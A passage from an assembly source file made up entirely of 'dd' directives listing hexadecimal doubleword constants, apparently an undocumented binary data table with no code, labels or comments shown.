720B70Ah, 1D086423h dd 0A2CE6641h, 5C991F7Dh, 4BD65CC0h, 9A3E00ECh, 82574ABCh dd 3F017A77h, 0B228D9Dh, 0CC40873Ah, 0A1987DC2h, 0C848A2F8h dd 0BE1702C8h, 257B3F3Dh, 18684C41h, 0D2D508D3h, 96C65501h dd 0BBC90021h, 0A2BA21D5h, 1C096A62h, 829D2E6Ch, 0C4EE17C8h dd 9E5A2C04h, 2A7742E0h, 57A53B00h, 0A34009E6h, 280D014h dd 2BBD8C90h, 0AA0068BAh, 0FE177156h, 0B0EDA28Dh, 58864354h dd 8C14B8C8h, 9175A907h, 3AB1E110h, 0F3F4BAA3h, 63A1708Fh dd 631DA09Bh, 0BCAF20A4h, 7C23158h, 80A4A2F1h, 10CA3981h dd 5E23318h, 0BF78B43Eh, 0EA9C401Ch, 7D90163Dh, 672BDA00h dd 5B7F7603h, 0F8E0015Dh, 850D6452h, 0C3020C0h, 0D9948C91h dd 686E8068h, 0B96C23D4h, 66C7C1A4h, 48AC4168h, 9A15F40Fh dd 5C18B9C0h, 18C30C6Eh, 0B1DCA144h, 8E141F30h, 0BC8EACCh dd 814204Fh, 90B386Ch, 9140173Fh, 0A0F78EB0h, 36A0CADh dd 491C7C8Eh, 6C232477h, 0CED5C701h, 9318B501h, 0CFCD88h dd 0E60143D5h, 89A9C363h, 64454B24h, 0EAAA2700h, 5ACB225h dd 3AF324B6h, 4518C0F0h, 53C5206h, 77D960EEh, 0AE25497h dd 27DD1B35h, 0E14D1AE8h, 94441047h, 963E5860h, 42ADB601h dd 0B98F360Bh, 0D2E940E0h, 3AE43A70h, 5F00C395h, 0F90EB144h dd 0FB0048D6h, 0F1960469h, 1223D9B4h, 8B24879Ch, 8DD84D8h dd 44AB5030h, 0AAC634Dh, 0C8E8EE1Eh, 59F07A94h, 5E5EB888h dd 0D8B4F193h, 4430B20Bh, 1C132189h, 0CCC01D4h, 0E1D52D46h dd 7C93078h, 2BA59201h, 0A85CA248h, 13DEC24h, 333F1C47h dd 3051F589h, 7324B321h, 37BC400Bh, 0A0825904h, 0D588414Ah dd 68085218h, 704C23D8h, 683B6ACBh, 0C14102C8h, 0E0D71702h dd 26132488h, 25808C22h, 0F6655882h, 0E003E962h, 96D250E3h dd 1B004852h, 0D9BB1DABh, 99F6B979h, 18890760h, 9807A9A7h dd 0D8FCA3B2h, 1B091800h, 0AB528AACh, 44109808h, 0ED0FF7A0h dd 0C5C00A3Bh, 248E39C5h, 63C00E88h, 48D22024h, 0FA64102Ah dd 0A0F4888Ch, 0F97C9E19h, 0B0442988h, 85B4B804h, 1F37E500h dd 9663EB0Bh, 0A64430h, 0C2538E39h, 0F698B4EAh, 0F013AD01h dd 0BF69AAB0h, 9C0FE07Fh, 9F67F80Ch, 0A082F085h, 241C04D8h dd 12BCE8FAh, 3BCD1F1h, 0BC383C4Ah, 51058CB0h, 5A19D8F3h dd 0C9ABD440h, 0A0188749h, 4FEC8224h, 2F1045B0h, 88F4CE70h dd 0A0DEC016h, 9EE78786h, 3C1E6759h, 949494h, 0E2EC3AD3h dd 165364DEh, 53032187h, 0C46F50h, 39A2560Eh, 4443C63h dd 5ECA8C30h, 0C4448707h, 8EF20594h, 49BA053h, 4C0B2082h dd 18BCA4E9h, 6F490AD1h, 0C488C5A2h, 0D9EA400Fh, 28D78949h dd 748F82E3h, 0A283055Bh, 13AD3414h, 9F7C9288h, 6488E51Ah dd 2616005h, 4DC502A4h, 3AB897Dh, 2FB8AC40h, 0A0EF1503h dd 13A17C74h, 48D71B70h, 2082E2D4h, 42D930EEh, 0DFF0C06Ch dd 0A6E0830Bh, 18D0A150h, 1AA204ACh, 408ED27Ch, 0D3C0AE88h dd 2E24D7Ch, 0E323F11Bh, 0F8973E49h, 6F80B091h, 2A75835Eh dd 0DFA18915h, 0FC4D75D4h, 0FA4C04h, 666C5406h, 3CF7F5B1h dd 7B870DA9h, 0C097EAFCh, 947FA53Ah, 142C1090h, 90041638h dd 88F08CE8h, 0E9A53382h, 0C8D48759h, 8E222000h, 1866F818h dd 29E6C2CDh, 0F0008C2Ah, 8F35D21Eh, 0B3A7145h, 4903CA0Ch dd 61C0106Dh, 2684AC7Dh, 1D01B85h, 83C3F022h, 0A59F0009h dd 16820E35h, 7861943Bh, 2424BF25h, 1101CF3Ch, 0A4B9102Ch dd 8070519Eh, 0E89A60F0h, 3482213Ch, 3A032412h, 49A09044h dd 30D63C82h, 0D5086853h, 64862423h, 6B60400Fh, 321C668h dd 0BF330CF5h, 88AD1C06h, 96EA2230h, 7A609360h, 0C987543Dh dd 88E78C80h, 0DFCCC10h, 5126EE8Ch, 5C232C1Bh, 0BC3014A2h dd 0CBBD166Eh, 8E4435B1h, 0C0E0880Ch, 38F34A39h, 64061F28h dd 2968C8A0h, 0C062264Fh, 49D230B9h, 0A0A27034h, 0EB80CCA2h dd 236A49DAh, 1690C500h, 0DDA6E153h, 8883B0BDh, 0E320A0h dd 5F173673h, 62507C83h, 82E058E0h, 0C524A158h, 70A04368h dd 1CEB2529h, 0E0082017h, 69756008h, 0EE1415FBh, 58989E04h dd 0AE1C0B2Ch, 0CE086989h, 4908D718h, 7035A259h, 4A011FE4h dd 721E4C60h, 87E8496Ah, 1EF013Ah, 78EE1D8Dh, 623453D7h dd 706E394Bh, 8BA36403h, 0C8C8F78Fh, 3D58FFA7h, 550905FCh dd 0DC400DA1h, 0DCBCFB6Eh, 0D7300015h, 0CEE5C734h, 0D5B81F4Fh dd 3FFAC000h, 0BFAC8FD2h, 0F161C720h, 0D96600E9h, 0E202D86Eh dd 0B94104FBh, 67949296h, 65E04444h, 38CFE600h, 489804A3h dd 0AC09A8A5h, 0E8846B9Dh, 0A4085356h, 4BCCC11Fh, 7C2FE9C6h dd 0D45AB010h, 3B10004Bh, 7F54A6EFh, 0C0E18F6h, 0A2052577h dd 0C1E4DB07h, 9DC1EE08h, 0BCE47202h, 662454B0h, 0AC0BBC8Eh dd 0A3C20A8h, 96253B68h, 0E1C0278h, 0C649ACCh, 80F94A24h dd 5C74A803h, 0BCC84886h, 0AE7A708h, 4F708903h, 9A40407Eh dd 879CA840h, 949C016h, 0AE0F61Eh, 0C4FA8C0h, 297C2F1Dh dd 79803E5Dh, 39718AEh, 3BB2670Eh, 8880F9D8h, 84B11393h dd 68083C0Ch, 0DE0C0609h, 180D115Ch, 810E5431h, 23D49CCCh dd 48C24899h, 8C15E8h, 8C053FE8h, 4E9A2757h, 177AEA2Fh dd 80DF913Ch, 80B469C8h, 280D242Ah, 0AC002769h, 0DF2004B6h dd 0F3D82460h, 7C8FCA3h, 9D01DB45h, 0E9C4B07Ch, 4B8336Bh dd 0CC96E084h, 9E071100h, 0C3A0E404h, 25019650h, 10F09958h dd 0DE3E8920h, 64CC2BA4h, 49D860BBh, 0FDA22D52h, 0E5601496h dd 4C2EC820h, 3E280697h, 519E44B6h, 6A0088E6h, 104F51D3h dd 51B88D57h, 380FBC4Eh, 0CC01688h, 0F8B77F9h, 0A2339163h dd 50581E52h, 85441898h, 0E28161h, 0B2D28E88h, 0B627E821h dd 13A3CE09h, 9080283Eh, 3685C08h, 89F21B24h, 8CF31815h dd 0BC284DE0h, 0EA380CEDh, 0B03917BFh, 5B1EF100h, 0ECDD3B3Dh dd 86F300CCh, 0D134DBFh, 0D01215F5h, 0C813E1E7h, 8C8DC8Bh dd 347512C0h, 64BC00C4h, 2E908FF7h, 0FCECF338h, 10937EAh dd 0F29EF88h, 1A998910h, 44E0670Ch, 0A4CF6010h, 88F6131Dh dd 0C98C09Fh, 64013835h, 432A175Dh, 0E1D62ED6h, 0BA13A7A4h dd 0B47AFEF8h, 0F8584800h, 7674EF67h, 179CEA1Ch, 90C2B26Eh dd 49EED574h, 47FD7D0Ah, 3800E3AEh, 0BAB5029Eh, 5F5700E7h dd 0C96452C6h, 3609749Ch, 973DE332h, 81AF9124h, 0C98F6A4h dd 0D0DAA8EBh, 21846043h, 256FC183h, 0C4C2AD00h, 24BB74B5h dd 0EA1703C5h, 55E9F98Eh, 41CD2198h, 0E4DE0496h, 7AD50054h dd 4FBC5F48h, 6EFE241Dh, 0C8149A4Eh, 5FE75A3h, 39830499h dd 0D126771Fh, 0A834B096h, 68B90529h, 0C1DC87D9h, 17090B64h dd 0CCCA6DC0h, 2527F6D0h, 1C17BEEEh, 0CA801011h, 0B6AD1DF7h dd 5CA63499h, 0B04674h dd 8EDF0355h, 60C269BCh, 0AF76A984h, 0E8008929h, 65A6DB0h dd 16F7413Ah, 3403C5F4h, 0F29CF228h, 9B3F3096h, 0C4629400h dd 32A41F10h, 80389087h, 2D3C4BB0h, 34AF4EC6h, 15226620h dd 9090B098h, 0F8A2D9FCh, 45A5D0D9h, 611464E8h, 9AD42FE1h dd 585007Eh, 894982BAh, 0E492D6A7h, 3F12DC9Bh, 0A5CF40DAh dd 0CF48380h, 6099F234h, 7767FB05h, 89D1D849h, 70D45B30h dd 15F8472Fh, 0A9093800h, 0F322A693h, 0A49B4C36h, 3181344Dh dd 606D2AE1h, 871AD72Dh, 0C0A99823h, 9BC71958h, 84C42610h dd 57C5D142h, 1323402Bh, 41F3150Eh, 80C23DCBh, 5672F981h dd 0FC8F5FA4h, 87184CFFh, 99891A96h, 946E6CDh, 0F1E3A332h dd 4BBEE839h, 0C012C890h, 0B24A4527h, 0B300F2F4h, 0E18C306Eh dd 2F22517Ah, 0C81D41CFh, 0C8F0E11h, 0D88BC8E5h, 1D60C004h dd 0C15AACC9h, 8B650119h, 0BC14A7FCh, 3C9FDCC7h, 1840414Ah dd 0C6E91FC8h, 86A30038h, 9A32CF8Ch, 5D007672h, 0FE542B3Dh dd 526020h, 9C65DADBh, 51E71A39h, 0FD8DA212h, 0B0F26CB2h dd 13FCFA31h, 0F2EB00C6h, 84CD8EBBh, 0A09585C2h, 5E591464h dd 8C00019h, 0D902E1F6h, 309BB711h, 803CDA94h, 1FD14BD3h dd 588C94E7h, 4B00DB59h, 0B0A33AA6h, 48620318h, 0B224508Fh dd 0A539C0F0h, 76054147h, 1D95F69Eh, 10828CC8h, 24A02815h dd 6D5AFCACh, 0F22560CCh, 0C4000650h, 83965F23h, 0C01BBFACh dd 43674471h, 0F900B525h, 471E7065h, 0B77694h, 20B1DB1Bh dd 301C964Ah, 40CB31D2h, 0AC216C8h, 851CD904h, 27EA33Bh dd 0E6D9FA90h, 0FD1C071h, 5007E018h, 0D59A3AC0h, 0E66E8DD2h dd 2230269Ch, 44B7AF38h, 0FFFA7600h, 15F15D7h, 0DAA1619Dh dd 4BB6ACC6h, 0C0108828h, 0EC3AA2F6h, 5CC8512Eh, 7708923Ch dd 0ABE22CF3h, 2CF9C430h, 0D40C8DC0h, 1B390F46h, 5BD1A480h dd 3CA0DE10h, 0CC81C82Eh, 0BAC3727h, 0B58995E9h, 7F0B1802h dd 46769856h, 0C3850793h, 7B505976h, 6AA3325h, 7414A26Fh dd 9612A082h, 8402718h, 0FFD77845h, 6577009Bh, 0B8EF7AC1h dd 21C022BFh, 67A5A4F2h, 71F1052Eh, 6B1A0D1Bh, 90882E70h dd 4880D60Bh, 149F731Ch, 0E460725Bh, 0D1109458h, 6B160BB1h dd 8078378Dh, 7C238F50h, 82019D3Bh, 0C026CD2h, 0D4009852h dd 6C9C2087h, 74EDA062h, 667801D8h, 70AC2ACBh, 0D3332898h dd 0E0B91068h, 0CEF91Ch, 0ACB7A170h, 5B724438h, 1427695Bh dd 796A6260h, 0B12800BDh, 58DE59B0h, 4B9029CAh, 923AF04h dd 0A4C89F82h, 786CE387h, 0FD18A682h, 0F0F82404h, 0B8CACE8h dd 0DC9D8950h, 10F9D469h, 0B98B2Dh, 0F009AFE1h, 0F6461062h dd 57A82002h, 8226BAF5h, 29E6BDCCh, 1111E497h, 0B47ED486h dd 32D1A501h, 97C60C0Ah, 71CB841h, 2408546Dh, 9E92DAF3h dd 0C05C44F6h, 28C0EACh, 0B7D9BEABh, 0FC5244B5h, 81D4EE3Dh dd 0C7CA39D5h, 35DC0FFCh, 58B127BCh, 0DE910817h, 31037380h dd 8160BD38h, 0CF198239h, 0AEF000F1h, 2001DEB6h, 0D096160Fh dd 5C0CAF04h, 0B11DAB43h, 2A137B1h, 2A8E441h, 0CA4AA54h dd 186F86CEh, 78F8CA44h, 97BA10E3h, 7FC18C00h, 591F61Dh dd 0AB8814A0h, 23B83B09h, 0C9BE0712h, 1BEC50ACh, 2A04327Fh dd 0E5CE0324h, 53A01C81h, 254817FCh, 470C8Ah, 8061DD64h dd 88482FABh, 0E8668059h, 18110C67h, 0A9565500h, 680BE470h dd 21B35ADCh, 2F98BD7Ch, 523383Bh, 0F5DC90Bh, 3C847E31h dd 28E2F4ECh, 0B258DB13h, 5BFC684h, 5E58BEE1h, 0FF001546h dd 1323DDFEh, 0A4A8E1CEh, 7C4F803Ch, 671AF003h, 2A9B81B2h dd 7EAA3980h, 92576426h, 19414431h, 21931FC1h, 0CD6200D1h dd 0C897A4DAh, 4112A87Eh, 6020C2DFh, 1FD309Dh, 25B99A23h dd 56DDD878h, 28B6F034h, 0C174676h, 6982BD3Ch, 4FE50050h dd 1C84AAAEh, 0DF27869Dh, 0BF1C100Eh, 0CD797Dh, 11C9B5C8h dd 6686CB9Dh, 1317C205h, 8800DC8Eh, 70C771ECh, 0EA090078h dd 26B6ADB1h, 5C7EF605h, 15980295h, 5EB07ED5h, 0DB171646h dd 0C6780714h, 819D70B5h, 4892FFA7h, 17DC1CB6h, 2C8085h dd 590A158h, 1095B6B3h, 0C018C0F4h, 20E7751h, 29004073h dd 0E74C1F61h, 7B5D693h, 5FD3C62Ch, 0A2689410h, 27B600BCh dd 70B75329h, 215105D3h, 0B15C106Dh, 0F2307228h, 0FFD83315h dd 0BF3A258Bh, 0A21861C8h, 142A580Ch, 1C17C020h, 66409005h dd 1E0B2564h, 653BBB0Eh, 5896E798h, 77806667h, 51886C2h dd 0AE54F0C9h, 0D0B4E09Ch, 2C248240h, 80143A0Bh, 0F18C28CAh dd 96051BE2h, 6FB2530Ah, 1268E08Ch, 30CA6687h, 6B10EB70h dd 89A95A00h, 4149E7E4h, 5E14BC9Ch, 0E2001346h, 0EAB17FECh dd 4AEA7745h, 530C8BB7h, 89587094h, 64499800h, 0BB787F22h dd 86BD3021h, 8EC271B9h, 0B2C93600h, 9DA4FAAFh, 1E447468h dd 0C9A06E70h, 246DF102h, 0D9516EC7h, 5013A840h, 0F8A0C0E9h dd 0E3018FADh, 393675A6h, 6080B492h, 0FD95A252h, 4E16A53Ah dd 74B3D0A0h, 93F1AB05h, 0D670ADF9h, 6E82C4DAh, 0E05E2026h dd 2D722540h, 0F29600ACh, 216F32EAh, 0FA3DB915h, 26188071h dd 8F688B76h, 2C09810Fh, 0C5B20258h, 0F11F9639h, 0D4740494h dd 473D04AAh, 118810CEh, 748397C0h, 9DDD00C7h, 0E9BE66ADh dd 75020522h, 0E08A87CAh, 0D81D0B2Ah, 0DD80AA11h, 700347ADh dd 0D00AC330h, 5FF4EE1Eh, 5BC000FFh, 4074A2F0h, 7C348A9Dh dd 3CA33960h, 18936244h, 7C8A1E96h, 642038E0h, 681DAC02h dd 68076FE3h, 12C3D840h, 47CD228Dh, 49F48964h, 5CA22C00h dd 38C9AE74h, 11701DD1h, 96B781ABh, 509CBBA0h, 59F4D71Ch dd 0D1620A44h, 0D87064E7h, 7099915Eh, 0C4C0A01Bh, 88016652h dd 2D793F20h, 0E8B76A16h, 0F9836A80h, 133B31B5h, 0A4624B58h dd 50BE5018h, 0E008391h, 97491381h, 0EF009431h, 0D17D23A2h dd 2F064555h, 6854h, 1AD7B40Eh, 0FB04249Dh, 0C4968041h dd 1E020AFFh, 2095D2B4h, 1C25E8C4h, 7AA01804h, 503FBD90h dd 0F5F9E802h, 7B3C41DDh, 0EE7600C6h, 773F1404h, 819D7925h dd 0DF1A9628h, 110A4442h, 7A06FDA4h, 0CFC2C005h, 0B0FD9894h dd 320715B8h, 0B03F4D1Bh, 0A24C3B01h, 90B8A0C6h, 1A37CD7h dd 0D4E5CB5Bh, 887F9413h, 3251BB8h, 9649A053h, 548028D2h dd 6805323Fh, 0B79551F4h, 20770050h, 0F07F1973h, 8B70EA02h dd 0E1E0765Dh, 6424D694h, 0BD930B54h, 94974031h, 1C801591h dd 5312466h, 1D781DBDh, 93856192h, 89ECACCCh, 1C2F680Ah dd 0A0E91388h, 0A65C824Ch, 20B7851Ch, 0F61E1002h, 2C9C7E6Ch dd 0E3183424h, 30ACB234h, 96129788h, 6427D8BCh, 86027BA4h dd 0F4F46CEEh, 37360900h, 4A6AE6Fh, 7C14A228h, 6200C7A8h dd 0F4CAEAF3h, 2FE1D04Dh, 0FEE44412h, 90954849h, 640B3E27h dd 0A38048E4h, 5500509Bh, 46674279h, 0B5E1A6h, 0AD188AA1h dd 6A040C91h, 784589C0h, 96C264A8h, 1250804Ch, 915ECE43h dd 0DEC63D00h, 7BE74B55h, 6E7C007Ah, 9860B27Dh, 0A64F1F86h dd 2F7FF088h, 0FC68BFA9h, 0BE02297Bh, 1922743Bh, 2420C02Fh dd 9F18A184h, 7018203Ah, 0E2837F4Fh, 10C81A7h, 0CABF18h dd 1064A620h, 0D48E775Ah, 0D9C09388h, 5C151Eh, 0D66AAF83h dd 0BF523DCBh, 65492160h, 7D0829h, 0D6D35594h, 1DAB3856h dd 40A647Ch, 988272F4h, 0AC5D8A39h, 0E527E8A7h, 6005E46Ch dd 4FAF70h, 41DAEC58h dd 1FBB3511h, 0F7149613h, 0B21CCC0h, 7C34F336h, 0C077E03Dh dd 0B36D4470h, 3E5E26B6h, 9323382Eh, 1397C300h, 2ED11DEh dd 93FEE54Ah, 516048A0h, 9D5FA2BAh, 440C8030h, 489E141Fh dd 6688BC01h, 0D0D5D1C1h, 102CC5FDh, 0D5B9CBB0h, 706DF105h dd 0EC30A689h, 810AAB20h, 3079C0h, 8FD527CEh, 41EE6h, 65E4349Bh dd 51941BA6h, 38CCA75Eh, 1AF327A4h, 0DADB2000h, 440038B6h dd 3F0FD603h, 9056349Fh, 0BFDC1838h, 0EE8B6119h, 0E601DD98h dd 0D211F796h, 0B1E55931h, 3B608A20h, 70AF8509h, 74B02488h dd 7000AD46h, 671ACABDh, 363F86ACh, 13BEA524h, 0A61BC018h dd 0E611D6EDh, 843CF014h, 52D024Bh, 0F027F620h, 89A69C40h dd 2E20F48Ah, 12465E50h, 81263C71h, 0F9041B58h, 0EC82DB6Fh dd 28CB00E4h, 85F1DA22h, 771A3DB7h, 60F8B924h, 6F971DD2h dd 0C62AD507h, 0C5D99A22h, 5893C728h, 0AB220F60h, 56FA17CDh dd 0B2AC131Eh, 33963C74h, 26B558BAh, 12C8A9E0h, 350477Ch dd 0A42A4520h, 0D0205C4Ch, 0F18C028Bh, 8ED5C09Bh, 0B5ADC4D3h dd 0ABCC0084h, 49EE2297h, 3D3C4B74h, 5F2640E4h, 23502FEDh dd 0D970E13h, 0AC773202h, 2204A8D1h, 5CAC060Bh, 9E59C20Bh dd 6560F8D1h, 0A257A9Dh, 1DB367EBh, 0A3181780h, 59748BD8h dd 18AAF188h, 0C1F50091h, 26041B08h, 1E3A0B28h, 68A0308Eh dd 0DF982A09h, 80EE0961h, 8326B878h, 79110052h, 0B67E104h dd 66160C18h, 927B4F07h, 0B87476BCh, 12467Ch, 0B573111Bh dd 302A0CC2h, 99911996h, 7E1E72AFh, 0AC035AD9h, 48995BFh dd 0EB204E19h, 89A48429h, 0BCE87C80h, 91058CB0h, 414E9339h dd 0EC3D81EFh, 21582C88h, 0D1C0A19h, 0D9884CE0h, 0E6478A7h dd 0F0742560h, 48BA8600h, 6D3E3982h, 9968A94Fh, 8C2B2A0Dh dd 0DE0FAE23h, 0A3C7C014h, 0B7D1B6Dh, 8DCA1318h, 54A274CEh dd 9AB7E87Ah, 0B42C61F0h, 4ECB68C0h, 9EF8C119h, 1E18F052h dd 8079C9DFh, 12827E39h, 4255D6h, 9AD088CCh, 0ED2E9622h dd 398B3Ah, 8054AD38h, 0E37A9B2h, 0CC2895FCh, 0BE566E60h dd 28C3DB22h, 0D7F8FB82h, 0DC00900Eh, 63026AA2h, 3B198DACh dd 0F508B47Bh, 0AABB2180h, 314D0D6Ah, 7F00A4FAh, 0CBEA032Ch dd 603821ECh, 68D928FCh, 3B032885h, 0B8A69BE0h, 694106F9h dd 0F6B62282h, 70C180DFh, 0F80272A0h, 0B06CED00h, 0EFBB0C9h dd 86918F74h, 0F82103E7h, 77F103DBh, 1AED72B3h, 9307A83h dd 0F9BB21DFh, 0F8F0E77h, 3880CDC8h, 70923E29h, 0CC7E1C00h dd 0AB59AFD9h, 9FC00BDh, 4A4DB623h, 76007A9Eh, 5FECAC24h dd 56FB897Fh, 9E028CBCh, 8C62F66Ah, 0BF10F431h, 502C6AA6h dd 2C03B508h, 0FAEC113h, 0B536C3C9h, 8911AA2Ch, 9C410400h dd 0F7DFE320h, 898F528h, 0EBEE217Eh, 20DA4000h, 6A700BE9h dd 52A6F6EDh, 1718B041h, 87D10CB7h, 0BAADD70Ch, 0C03F08BFh dd 38CF0E21h, 580046CEh, 37A642Eh, 28B6A8F7h, 58BCFA6Eh dd 72188A9Eh, 0C37DC1E4h, 159CCE3Fh, 0C9317h, 4F61CAE7h dd 3C4A3D7Dh, 5C1C3430h, 3A468DEh, 0FBABCBA8h, 31000B71h dd 0F0FAD7F3h, 0B0D34Ah, 40AE891Dh, 6F829FCCh, 0CAECB600h dd 0F2B4A3CFh, 90FE05F3h, 159E5680h, 0BC4248E7h, 0D833F7F2h dd 0F613CA44h, 0F49B009Fh, 47CA138h, 0A8D0EBDEh, 1DA823A0h dd 0D1F284B9h, 204062B7h, 1C38D0F8h, 7858548h, 5E55947Ch dd 4AD1F90h, 26920F93h, 85835B32h, 0B6A0B1C9h, 0F3F29131h dd 48385801h, 50302D92h, 219D0898h, 0F3036370h, 953739F9h dd 0D0480009h, 0D2053A41h, 13034F40h, 0B86ED3E8h, 5A620755h dd 90B131B4h, 95D961B6h, 803D48DEh, 0B68F27Eh, 66AD0D72h dd 21980913h, 0F2865400h, 0B8E8BAECh, 38BF00C8h, 0E30D1F22h dd 0DC00FF26h, 7E6F9E17h, 0C0AE7B9Ah, 2AFB3AA1h, 6CA55AF3h dd 0EE60AA64h, 0F507C38Ch, 784EF902h, 0B18B03F0h, 0D3AF0A13h dd 74982DCDh, 0B000A846h, 84FD4B0Bh, 0DF0072ACh, 16DC99D3h dd 69FB94Ah, 6704285Fh, 5C036895h, 0EC5E314Ch, 9600A4B2h dd 2D59F256h, 908D3606h, 60086E35h, 5E6F21C2h, 30FD01F2h dd 2FF297DCh, 0A6DC9A03h, 649325A9h, 607FB888h, 2356F359h dd 0A4117838h, 0F3616E00h, 0BDA08EC1h, 0F77051F2h, 0D9A2703h dd 0D09B0119h, 50AD78B0h, 8C833094h, 38C35D50h, 22305852h dd 6572009Eh, 0E82780F3h, 0EF7CB25Fh, 0C062F8C8h, 2D5DF25Ah dd 0BA225646h, 0F262730Fh, 6AC00E5h, 0CCE3368h, 2BCCD57Dh dd 29002D89h, 0E1370F45h, 174D69Dh, 26FDBDD9h, 83B5A62Fh dd 0CD210D48h, 4FD016A7h, 0C0EA1035h, 18CBBBCh, 5C34C0DFh dd 0D025F17Ah, 33602C89h, 13A4F89h, 84D70F35h, 0BFA7F943h dd 2D26E1D3h, 40B117CEh, 0A80090E9h, 924867FBh, 35890C08h dd 55C94917h, 77E4A0A1h, 199C2896h, 0FDEF00E4h, 6C81C7E6h dd 12030208h, 2A4CA433h, 0C2DB04h, 4B7B5948h, 32CE66B1h dd 6B1151C3h, 5CA8E0D5h, 66B272B0h, 2115086Ch, 0D563731Ch dd 0EA2640C0h, 7F5F67Ah, 0C1AAF33Dh, 0B9C843ADh, 8AAB9100h dd 9E9CE8BFh, 150BD02h, 0B7F53439h, 1222208Ch, 0F498A881h dd 54805C11h, 462D57F2h, 7100B0A7h, 0BC7DF25Ch, 58378E0h dd 0EBFDA53Dh, 612848A4h, 5CF259C0h, 226E462Dh, 617600B9h dd 60502AF2h, 1700888Eh, 9ECA5CAEh, 0E513B651h, 0AA552981h dd 0D1E40DF0h, 62FED0F1h, 77063A01h, 0C1172BEEh, 0F79FAC40h dd 29A66433h, 6274C2F0h, 11F27B30h, 887A0B69h, 8355809Fh dd 0A76C3BF2h, 0A8A8AFE2h, 191213C9h, 809B599h, 26B421E1h dd 39B2BB2Ch, 7D306068h, 0B6711F2h, 85A0886Ah, 80F28553h dd 5201178Ch, 3030F928h, 79B8C833h, 0A0BCE3F6h, 2C50FB4Ch dd 13AC3A49h, 0D7F4010Fh, 3189277Ch, 84F84230h, 0F6F35E30h dd 80604338h, 0F6F36673h, 642E20Dh, 611FC5BAh, 0FCA75801h dd 0C160C244h, 0C8297EA7h, 0C1712024h, 25059F18h, 0B9BB23A9h dd 506FE413h, 0C8E616h, 2FF48745h, 48C8EEB8h, 0F277C05Eh dd 5A460B65h, 51009B22h, 0D445F27Fh, 0BE1BD30h, 5B952D3Ah dd 872F6905h, 0C9C500A8h, 0C3F82CFFh, 23C0C452h, 0F35C0186h dd 18503859h, 647188A9h, 0F535F300h, 0B59DAE41h, 88B05415h dd 4775302Bh, 0DC41B659h, 8F332618h, 91A3AA1h, 5653D039h dd 0B4DA6481h, 0BFA5DDA4h, 54CD8030h, 18E0DDB0h, 629209BBh dd 101D56DAh, 6B80AB11h, 0C724AE11h, 18976800h, 7220511Dh dd 78C048AAh, 268C97E8h, 1C8D71AEh, 4D82408Eh, 5CCCD46Dh dd 0D6F9C913h, 1423883Ah, 69901200h, 16BA001h, 0D67761C5h dd 224BD339h, 30B9F244h, 0BB0097DCh, 0C7C42F20h, 5DFE9C0h dd 0CB020626h, 38A0202Dh, 1148853Fh, 0E8105898h, 61008CBAh dd 3D18217Fh, 4CAE72C1h, 0B0223847h, 0B00F343Fh, 0A48D6006h dd 2FF4E5DBh, 0F51718B0h, 63861822h, 8F0CD948h, 3E1DE187h dd 0D3CD05h, 0FC5118A9h, 75532073h, 0D22DE000h, 0AB6A1A72h dd 176E1DB4h, 579CCAC6h, 0DB204DCh, 5FE0D25Bh, 13F25730h dd 383E2D5Ah, 5F007000h, 0A85621F2h, 90AC131Bh, 20E498E0h dd 502C9CE1h, 4676345Bh, 0B8EF1EB9h, 9D230800h, 0D53DB8Eh dd 92372678h, 6D8060F9h, 9A48240h, 0FA83C2Bh, 605C20A4h dd 2463F279h, 70FC4A0Bh, 0F20E814Fh, 23707602h, 0C033BE18h dd 912989ABh, 60A10548h, 23642E24h, 146205BFh, 19DD0F4Ch dd 44B0ACEDh dd 0C0509B78h, 0BDEF71D1h, 4BF02E0Fh, 808191F8h, 3854F357h dd 0C1F09168h, 30F35F6Ch, 0CF03622Bh, 0CD48A180h, 9A410721h dd 90C136F1h, 8A27D1DFh, 43E6610Bh, 0BA4801Eh, 4C5F1BB7h dd 0A39DD4A1h, 66F27801h, 433620Bh, 0F2805280h, 4C00B3CCh dd 74D27BA1h, 148DD808h, 0E8BDAA50h, 1EA62111h, 457D8923h dd 9DE23822h, 8934A033h, 759A0982h, 0E0801418h, 0F9C241E0h dd 2BB70206h, 0B1C8AE43h, 189ED114h, 1BFD4CA8h, 27978A0Fh dd 0BB16CE60h, 0EB1452EFh, 7AA82E75h, 0B6000492h, 0F3E73054h dd 928F27h, 3F6DDD17h, 1B03B05Dh, 0E488A763h, 89300BAEh dd 40AE9D30h, 59E71CA7h, 1939AC21h, 989B04ADh, 0D600BBD7h dd 9C5CDC4Fh, 804E00F7h, 0C7023A50h, 0A7254DEEh, 182429A5h dd 0F5254030h, 0E7D5DE0h, 0B5F53050h, 80209E72h, 74568170h dd 84D1059Fh, 801F89A8h, 0ACA6DDFEh, 0B781E369h, 452F80ACh dd 5E76E514h, 0ABEB22h, 4BACAD47h, 0EA9374FCh, 66865C07h dd 0B4751915h, 0B6319701h, 30A57510h, 0CD808037h, 976F83F9h dd 5A9A1E72h, 3245166h, 89FB52Ch, 1910981Ch, 9CA70B8Fh dd 0E688E35Ah, 0AAD9FB4h, 2F0A965h, 0AA352BEEh, 1C586862h dd 0E854B148h, 0F6008CA1h, 0B5D36368h, 27C8E441h, 441D946Fh dd 0EA80AA91h, 0AE39228Dh, 0D6008275h, 0C3F074Fh, 48030413h dd 0D11454B2h, 61D9AC30h, 14032C8h, 0C6FCC55Ah, 68230780h dd 4C50C83Fh, 4085008Ch, 0A6F8CC75h, 0B71E0DE0h, 3541662Ah dd 0D6FAC613h, 1A933D30h, 408E7D41h, 0FB0889C0h, 18FB8C90h dd 78D50864h, 1AC454A8h, 0D55CC05Dh, 758E274Bh, 15FB5100h dd 0ACF2E0BDh, 0A6322C89h, 6358B2CCh, 11D56830h, 8874A87Ch dd 6070801Fh, 43FEE7D5h, 0BC2B720Fh, 0AAEDCBC5h, 46749C1Ch dd 683700BDh, 0D99C60E6h, 53A1D4Fh, 0E1060086h, 0B0ACA8D6h dd 0C06358C8h, 2D5EF25Bh, 74180EE5h, 2DFF7863h, 7953C301h dd 0B68AD851h, 7FC83603h, 0C7007023h, 0A22D749Bh, 799C8C2h dd 8DDAB238h, 96D87255h, 0D178CE8h, 752B00E5h, 5C70E97Fh dd 4C4BE701h, 6BC0BC88h, 47387B8h, 0CE980B6Ah, 0AE50C284h dd 0C13F3A21h, 40D2A850h, 0B481F098h, 0AAA70984h, 84C03812h dd 89E25055h, 83DA203Ah, 8B9D2B62h, 6BA00F94h, 69E15666h dd 4301C73h, 0C062F848h, 0A877D567h, 0E0243C48h, 0D55F6Fh dd 4F798761h, 14DE7A31h, 8ACAAB6Ch, 0D53A0B2Fh, 3C48C9F4h dd 0D9333F39h, 